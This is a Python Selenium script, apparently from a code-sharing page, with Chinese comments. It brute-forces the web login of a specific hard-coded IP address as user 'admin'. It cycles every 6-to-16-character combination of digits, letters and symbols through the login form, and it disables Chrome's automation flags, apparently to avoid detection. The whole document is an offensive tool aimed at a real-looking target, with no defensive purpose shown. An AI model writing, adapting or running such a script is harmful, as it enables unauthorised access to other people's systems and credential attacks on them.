1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
|
from selenium import webdriver import time import itertools
def time_out(a_func): def clocked(*args, **kwargs): start = time.time() result = a_func(*args, **kwargs) end = time.time() print("程序:" + a_func.__name__, " 运行时间:" + str(end - start)) return result
return clocked
@time_out def get(driver, url, count, use): driver.get(url) driver.implicitly_wait(10) """ 数字 + 小写字母 + 大写字母 + 符号 :return: """ chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*?_-." for a in range(6,16): for c in itertools.product(chars, repeat=a): count += 1 password = ''.join(c) driver.implicitly_wait(10)
print("................................开始自动填充密码 爆破中.......................................") user = driver.find_element_by_id("txtUserName") user.click() user.clear() user.send_keys(use)
paswd = driver.find_element_by_id("txtPwd") paswd.click() paswd.clear() paswd.send_keys(password)
driver.find_element_by_id("btnLogin").click() driver.implicitly_wait(15)
driver.refresh() print('*************** 第 ' + str(count) + ' 组密码 ***************') print("当前 ",a," 位密码测试") print("用户名:",use) print("密码:",password)
if __name__ == '__main__': url = "http://183.230.147.88:8081/" use = 'admin' count = 0
options = webdriver.ChromeOptions() options.add_experimental_option("excludeSwitches", ['enable-automation']) options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=options)
get(driver, url,count,use)
|